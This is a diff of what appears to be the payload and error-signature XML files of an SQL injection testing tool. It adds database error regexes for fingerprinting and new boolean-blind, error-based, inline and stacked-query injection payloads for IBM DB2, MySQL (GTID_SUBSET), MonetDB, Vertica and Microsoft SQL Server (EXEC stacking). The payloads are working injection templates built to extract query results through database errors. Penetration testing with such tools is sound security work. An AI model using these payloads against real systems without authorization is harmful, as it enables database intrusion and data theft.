+        <error regexp="check the manual that (corresponds to|fits) your Drizzle server version" fork="Drizzle"/>
         <error regexp="Unknown column '[^ ]+' in 'field list'"/>
         <error regexp="MySqlClient\."/>
         <error regexp="com\.mysql\.jdbc"/>
@@ -15,9 +16,11 @@
         <error regexp="Pdo[./_\\]Mysql"/>
         <error regexp="MySqlException"/>
         <error regexp="SQLSTATE\[\d+\]: Syntax error or access violation"/>
+        <error regexp="MemSQL does not support this type of query" fork="MemSQL"/>
+        <error regexp="is not supported by MemSQL" fork="MemSQL"/>
+        <error regexp="unsupported nested scalar subselect" fork="MemSQL"/>
     </dbms>
 
-    <!-- PostgreSQL -->
     <dbms value="PostgreSQL">
         <error regexp="PostgreSQL.*?ERROR"/>
         <error regexp="Warning.*?\Wpg_"/>
@@ -33,7 +36,6 @@
         <error regexp="PSQLException"/>
     </dbms>
 
-    <!-- Microsoft SQL Server -->
     <dbms value="Microsoft SQL Server">
         <error regexp="Driver.*? SQL[\-\_\ ]*Server"/>
         <error regexp="OLE DB.*? SQL Server"/>
@@ -55,7 +57,6 @@
         <error regexp="SQL(Srv|Server)Exception"/>
     </dbms>
 
-    <!-- Microsoft Access -->
     <dbms value="Microsoft Access">
         <error regexp="Microsoft Access (\d+ )?Driver"/>
         <error regexp="JET Database Engine"/>
@@ -64,7 +65,6 @@
         <error regexp="Syntax error \(missing operator\) in query expression"/>
     </dbms>
 
-    <!-- Oracle -->
     <dbms value="Oracle">
         <error regexp="\bORA-\d{5}"/>
         <error regexp="Oracle error"/>
@@ -79,19 +79,18 @@
         <error regexp="OracleException"/>
     </dbms>
 
-    <!-- IBM DB2 -->
     <dbms value="IBM DB2">
         <error regexp="CLI Driver.*?DB2"/>
         <error regexp="DB2 SQL error"/>
         <error regexp="\bdb2_\w+\("/>
-        <error regexp="SQLSTATE.+SQLCODE"/>
+        <error regexp="SQLCODE[=:\d, -]+SQLSTATE"/>
         <error regexp="com\.ibm\.db2\.jcc"/>
         <error regexp="Zend_Db_(Adapter|Statement)_Db2_Exception"/>
         <error regexp="Pdo[./_\\]Ibm"/>
         <error regexp="DB2Exception"/>
+        <error regexp="ibm_db_dbi\.ProgrammingError"/>
     </dbms>
 
-    <!-- Informix -->
     <dbms value="Informix">
         <error regexp="Warning.*?\Wifx_"/>
         <error regexp="Exception.*?Informix"/>
@@ -111,7 +110,6 @@
         <error regexp="Pdo[./_\\]Firebird"/>
     </dbms>
 
-    <!-- SQLite -->
     <dbms value="SQLite">
         <error regexp="SQLite/JDBCDriver"/>
         <error regexp="SQLite\.Exception"/>
@@ -126,15 +124,15 @@
         <error regexp="SQLiteException"/>
     </dbms>
 
-    <!-- SAP MaxDB -->
     <dbms value="SAP MaxDB">
         <error regexp="SQL error.*?POS([0-9]+)"/>
         <error regexp="Warning.*?\Wmaxdb_"/>
         <error regexp="DriverSapDB"/>
+        <error regexp="-3014.*?Invalid end of SQL statement"/>
         <error regexp="com\.sap\.dbtech\.jdbc"/>
+        <error regexp="\[-3008\].*?: Invalid keyword or missing delimiter"/>
     </dbms>
 
-    <!-- Sybase -->
     <dbms value="Sybase">
         <error regexp="Warning.*?\Wsybase_"/>
         <error regexp="Sybase message"/>
@@ -144,7 +142,6 @@
         <error regexp="com\.sybase\.jdbc"/>
     </dbms>
 
-    <!-- Ingres -->
     <dbms value="Ingres">
         <error regexp="Warning.*?\Wingres_"/>
         <error regexp="Ingres SQLSTATE"/>
@@ -152,21 +149,72 @@
         <error regexp="com\.ingres\.gcf\.jdbc"/>
     </dbms>
 
-    <!-- Frontbase -->
-    <dbms value="Frontbase">
+    <dbms value="FrontBase">
         <error regexp="Exception (condition )?\d+\. Transaction rollback"/>
         <error regexp="com\.frontbase\.jdbc"/>
+        <error regexp="Syntax error 1. Missing"/>
+        <error regexp="(Semantic|Syntax) error [1-4]\d{2}\."/>
     </dbms>
 
-    <!-- HSQLDB -->
     <dbms value="HSQLDB">
         <error regexp="Unexpected end of command in statement \["/>
         <error regexp="Unexpected token.*?in statement \["/>
         <error regexp="org\.hsqldb\.jdbc"/>
     </dbms>
 
-    <!-- H2 -->
     <dbms value="H2">
         <error regexp="org\.h2\.jdbc"/>
+        <error regexp="\[42000-192\]"/>
+    </dbms>
+
+    <dbms value="MonetDB">
+        <error regexp="![0-9]{5}![^\n]+(failed|unexpected|error|syntax|expected|violation|exception)"/>
+        <error regexp="\[MonetDB\]\[ODBC Driver"/>
+        <error regexp="nl\.cwi\.monetdb\.jdbc"/>
+    </dbms>
+
+    <dbms value="Apache Derby">
+        <error regexp="Syntax error: Encountered"/>
+        <error regexp="org\.apache\.derby"/>
+        <error regexp="ERROR 42X01"/>
+    </dbms>
+
+    <dbms value="Vertica">
+        <error regexp=", Sqlstate: (3F|42).{3}, (Routine|Hint|Position):"/>
+        <error regexp="/vertica/Parser/scan"/>
+        <error regexp="com\.vertica\.jdbc"/>
+        <error regexp="org\.jkiss\.dbeaver\.ext\.vertica"/>
+        <error regexp="com\.vertica\.dsi\.dataengine"/>
+    </dbms>
+
+    <dbms value="Mckoi">
+        <error regexp="com\.mckoi\.JDBCDriver"/>
+        <error regexp="com\.mckoi\.database\.jdbc"/>
+        <error regexp="&lt;REGEX_LITERAL&gt;"/>
+    </dbms>
+
+    <dbms value="Presto">
+        <error regexp="com\.facebook\.presto\.jdbc"/>
+        <error regexp="io\.prestosql\.jdbc"/>
+        <error regexp="com\.simba\.presto\.jdbc"/>
+        <error regexp="UNION query has different number of fields: \d+, \d+"/>
+    </dbms>
+
+    <dbms value="Altibase">
+        <error regexp="Altibase\.jdbc\.driver"/>
+    </dbms>
+
+    <dbms value="MimerSQL">
+        <error regexp="com\.mimer\.jdbc"/>
+        <error regexp="Syntax error,[^\n]+assumed to mean"/>
+    </dbms>
+
+    <dbms value="CrateDB">
+        <error regexp="io\.crate\.client\.jdbc"/>
+    </dbms>
+
+    <dbms value="Cache">
+        <error regexp="encountered after end of query"/>
+        <error regexp="A comparison operator is required here"/>
     </dbms>
 </root>

data/xml/payloads/boolean_blind.xml

@@ -824,7 +824,6 @@ Tag: <test>
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -845,7 +844,6 @@ Tag: <test>
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -1193,7 +1191,6 @@ Tag: <test>
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -1214,7 +1211,6 @@ Tag: <test>
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -1332,6 +1328,44 @@ Tag: <test>
         </details>
     </test>
 
+    <test>
+        <title>IBM DB2 boolean-based blind - ORDER BY clause</title>
+        <stype>1</stype>
+        <level>4</level>
+        <risk>1</risk>
+        <clause>3</clause>
+        <where>1</where>
+        <vector>,(SELECT CASE WHEN [INFERENCE] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</vector>
+        <request>
+            <payload>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</payload>
+        </request>
+        <response>
+            <comparison>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</comparison>
+        </response>
+        <details>
+            <dbms>IBM DB2</dbms>
+        </details>
+    </test>
+
+    <test>
+        <title>IBM DB2 boolean-based blind - ORDER BY clause (original value)</title>
+        <stype>1</stype>
+        <level>5</level>
+        <risk>1</risk>
+        <clause>3</clause>
+        <where>1</where>
+        <vector>,(SELECT CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</vector>
+        <request>
+            <payload>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</payload>
+        </request>
+        <response>
+            <comparison>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</comparison>
+        </response>
+        <details>
+            <dbms>IBM DB2</dbms>
+        </details>
+    </test>
+
     <!-- Works in MySQL, Oracle, etc. -->
     <test>
         <title>HAVING boolean-based blind - WHERE, GROUP BY clause</title>
@@ -1452,7 +1486,6 @@ Tag: <test>
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -1474,7 +1507,6 @@ Tag: <test>
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 

data/xml/payloads/error_based.xml

@@ -91,6 +91,46 @@
         </details>
     </test>
 
+    <test>
+        <title>MySQL &gt;= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)</title>
+        <stype>2</stype>
+        <level>4</level>
+        <risk>1</risk>
+        <clause>1,2,3,8,9</clause>
+        <where>1</where>
+        <vector>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
+        <request>
+            <payload>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>MySQL</dbms>
+            <dbms_version>&gt;= 5.6</dbms_version>
+        </details>
+    </test>
+
+    <test>
+        <title>MySQL &gt;= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)</title>
+        <stype>2</stype>
+        <level>4</level>
+        <risk>3</risk>
+        <clause>1,8,9</clause>
+        <where>1</where>
+        <vector>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
+        <request>
+            <payload>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>MySQL</dbms>
+            <dbms_version>&gt;= 5.6</dbms_version>
+        </details>
+    </test>
+
     <test>
         <title>MySQL &gt;= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)</title>
         <stype>2</stype>
@@ -404,7 +444,6 @@
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -425,7 +464,6 @@
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -446,7 +484,6 @@
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -467,7 +504,6 @@
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -488,7 +524,6 @@
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -509,7 +544,6 @@
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -672,7 +706,7 @@
         <stype>2</stype>
         <level>3</level>
         <risk>1</risk>
-        <clause>1,9</clause>
+        <clause>1</clause>
         <where>1</where>
         <vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
         <request>
@@ -689,9 +723,9 @@
     <test>
         <title>Firebird OR error-based - WHERE or HAVING clause</title>
         <stype>2</stype>
-        <level>3</level>
+        <level>4</level>
         <risk>3</risk>
-        <clause>1,9</clause>
+        <clause>1</clause>
         <where>2</where>
         <vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
         <request>
@@ -704,6 +738,121 @@
             <dbms>Firebird</dbms>
         </details>
     </test>
+
+    <test>
+        <title>MonetDB AND error-based - WHERE or HAVING clause</title>
+        <stype>2</stype>
+        <level>3</level>
+        <risk>1</risk>
+        <clause>1</clause>
+        <where>1</where>
+        <vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
+        <request>
+            <payload>AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>MonetDB</dbms>
+        </details>
+    </test>
+
+    <test>
+        <title>MonetDB OR error-based - WHERE or HAVING clause</title>
+        <stype>2</stype>
+        <level>4</level>
+        <risk>3</risk>
+        <clause>1</clause>
+        <where>2</where>
+        <vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
+        <request>
+            <payload>OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>MonetDB</dbms>
+        </details>
+    </test>
+
+    <test>
+        <title>Vertica AND error-based - WHERE or HAVING clause</title>
+        <stype>2</stype>
+        <level>3</level>
+        <risk>1</risk>
+        <clause>1</clause>
+        <where>1</where>
+        <vector>AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
+        <request>
+            <payload>AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>Vertica</dbms>
+        </details>
+    </test>
+
+    <test>
+        <title>Vertica OR error-based - WHERE or HAVING clause</title>
+        <stype>2</stype>
+        <level>4</level>
+        <risk>3</risk>
+        <clause>1</clause>
+        <where>2</where>
+        <vector>OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
+        <request>
+            <payload>OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>Vertica</dbms>
+        </details>
+    </test>
+
+    <test>
+        <title>IBM DB2 AND error-based - WHERE or HAVING clause</title>
+        <stype>2</stype>
+        <level>3</level>
+        <risk>1</risk>
+        <clause>1</clause>
+        <where>1</where>
+        <vector>AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
+        <request>
+            <payload>AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>IBM DB2</dbms>
+        </details>
+    </test>
+
+    <test>
+        <title>IBM DB2 OR error-based - WHERE or HAVING clause</title>
+        <stype>2</stype>
+        <level>4</level>
+        <risk>1</risk>
+        <clause>1</clause>
+        <where>1</where>
+        <vector>OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
+        <request>
+            <payload>OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>IBM DB2</dbms>
+        </details>
+    </test>
+
     <!--
          TODO: if possible, add payload for SQLite, Microsoft Access,
          and SAP MaxDB - no known techniques at this time
@@ -777,6 +926,26 @@
         </details>
     </test>
 
+    <test>
+        <title>MySQL &gt;= 5.6 error-based - Parameter replace (GTID_SUBSET)</title>
+        <stype>2</stype>
+        <level>5</level>
+        <risk>1</risk>
+        <clause>1,2,3,9</clause>
+        <where>3</where>
+        <vector>GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
+        <request>
+            <payload>GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>MySQL</dbms>
+            <dbms_version>&gt;= 5.6</dbms_version>
+        </details>
+    </test>
+
     <test>
         <title>MySQL &gt;= 5.7.8 error-based - Parameter replace (JSON_KEYS)</title>
         <stype>2</stype>
@@ -924,7 +1093,6 @@
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -945,7 +1113,6 @@
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -986,6 +1153,25 @@
             <dbms>Firebird</dbms>
         </details>
     </test>
+
+    <test>
+        <title>IBM DB2 error-based - Parameter replace</title>
+        <stype>2</stype>
+        <level>4</level>
+        <risk>1</risk>
+        <clause>1,3</clause>
+        <where>3</where>
+        <vector>RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
+        <request>
+            <payload>RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>IBM DB2</dbms>
+        </details>
+    </test>
     <!-- End of error-based tests - Parameter replace -->
 
     <!-- Error-based tests - ORDER BY, GROUP BY clause -->
@@ -1029,6 +1215,26 @@
         </details>
     </test>
 
+    <test>
+        <title>MySQL &gt;= 5.6 error-based - ORDER BY, GROUP BY clause (GTID_SUBSET)</title>
+        <stype>2</stype>
+        <level>5</level>
+        <risk>1</risk>
+        <clause>2,3</clause>
+        <where>1</where>
+        <vector>,GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
+        <request>
+            <payload>,GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>MySQL</dbms>
+            <dbms_version>&gt;= 5.6</dbms_version>
+        </details>
+    </test>
+
     <test>
         <title>MySQL &gt;= 5.7.8 error-based - ORDER BY, GROUP BY clause (JSON_KEYS)</title>
         <stype>2</stype>
@@ -1129,7 +1335,6 @@
         </details>
     </test>
 
-
     <test>
         <title>PostgreSQL error-based - ORDER BY, GROUP BY clause</title>
         <stype>2</stype>
@@ -1185,7 +1390,6 @@
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -1213,7 +1417,7 @@
         <stype>2</stype>
         <level>5</level>
         <risk>1</risk>
-        <clause>2,3</clause>
+        <clause>3</clause>
         <where>1</where>
         <vector>,(SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'))</vector>
         <request>
@@ -1226,9 +1430,51 @@
             <dbms>Firebird</dbms>
         </details>
     </test>
+
+    <test>
+        <title>IBM DB2 error-based - ORDER BY clause</title>
+        <stype>2</stype>
+        <level>5</level>
+        <risk>1</risk>
+        <clause>3</clause>
+        <where>1</where>
+        <vector>,RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
+        <request>
+            <payload>,RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>IBM DB2</dbms>
+        </details>
+    </test>
     <!--
          TODO: if possible, add payload for SQLite, Microsoft Access
          and SAP MaxDB - no known techniques at this time
     -->
     <!-- End of error-based tests - ORDER BY, GROUP BY clause -->
+
+    <!-- Error-based tests - stacking -->
+    <test>
+        <title>Microsoft SQL Server/Sybase error-based - Stacking (EXEC)</title>
+        <stype>2</stype>
+        <level>2</level>
+        <risk>1</risk>
+        <clause>1-8</clause>
+        <where>1</where>
+        <vector>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]');EXEC @[RANDSTR]</vector>
+        <request>
+            <payload>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]');EXEC @[RANDSTR]</payload>
+            <comment>--</comment>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>Microsoft SQL Server</dbms>
+            <dbms>Sybase</dbms>
+        </details>
+    </test>
+    <!-- End of error-based tests - stacking -->
 </root>

data/xml/payloads/inline_query.xml

@@ -3,19 +3,31 @@
 <root>
     <!-- Inline queries tests -->
     <test>
-        <title>MySQL inline queries</title>
+        <title>Generic inline queries</title>
         <stype>3</stype>
         <level>1</level>
         <risk>1</risk>
         <clause>1,2,3,8</clause>
         <where>3</where>
+        <vector>(SELECT CONCAT(CONCAT('[DELIMITER_START]',([QUERY])),'[DELIMITER_STOP]'))</vector>
+        <request>
+            <payload>(SELECT CONCAT(CONCAT('[DELIMITER_START]',(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]'))</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+    </test>
+
+    <test>
+        <title>MySQL inline queries</title>
+        <stype>3</stype>
+        <level>2</level>
+        <risk>1</risk>
+        <clause>1,2,3,8</clause>
+        <where>3</where>
         <vector>(SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
         <request>
-            <!-- These work as good as ELT(), but are longer
-            <payload>(SELECT CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))</payload>
-            <payload>(SELECT CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
-            -->
-            <payload>(SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
+            <payload>(SELECT CONCAT('[DELIMITER_START]',(ELT([RANDNUM]=[RANDNUM],1)),'[DELIMITER_STOP]'))</payload>
         </request>
         <response>
             <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@@ -28,7 +40,7 @@
     <test>
         <title>PostgreSQL inline queries</title>
         <stype>3</stype>
-        <level>1</level>
+        <level>2</level>
         <risk>1</risk>
         <clause>1,2,3,8</clause>
         <where>3</where>
@@ -47,13 +59,13 @@
     <test>
         <title>Microsoft SQL Server/Sybase inline queries</title>
         <stype>3</stype>
-        <level>1</level>
+        <level>2</level>
         <risk>1</risk>
         <clause>1,2,3,8</clause>
         <where>3</where>
         <vector>(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')</vector>
         <request>
-            <payload>(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')</payload>
+            <payload>(SELECT '[DELIMITER_START]'+(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)+'[DELIMITER_STOP]')</payload>
         </request>
         <response>
             <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@@ -61,7 +73,6 @@
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -74,7 +85,8 @@
         <where>3</where>
         <vector>(SELECT ('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') FROM DUAL)</vector>
         <request>
-            <payload>(SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]' FROM DUAL)</payload>
+            <!-- NOTE: Vertica works too without the TO_NUMBER() -->
+            <payload>(SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN TO_NUMBER(1) ELSE TO_NUMBER(0) END)||'[DELIMITER_STOP]' FROM DUAL)</payload>
         </request>
         <response>
             <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@@ -93,7 +105,7 @@
         <where>3</where>
         <vector>SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'</vector>
         <request>
-            <payload>SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))||'[DELIMITER_STOP]'</payload>
+            <payload>SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]'</payload>
         </request>
         <response>
             <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>

data/xml/payloads/stacked_queries.xml

@@ -264,7 +264,6 @@
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -286,7 +285,6 @@
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -307,7 +305,6 @@
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -328,7 +325,6 @@
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 

data/xml/payloads/time_blind.xml

@@ -588,7 +588,6 @@
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -610,7 +609,6 @@
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -631,7 +629,6 @@
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -652,7 +649,6 @@
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -674,7 +670,6 @@
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -696,7 +691,6 @@
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -1638,7 +1632,6 @@
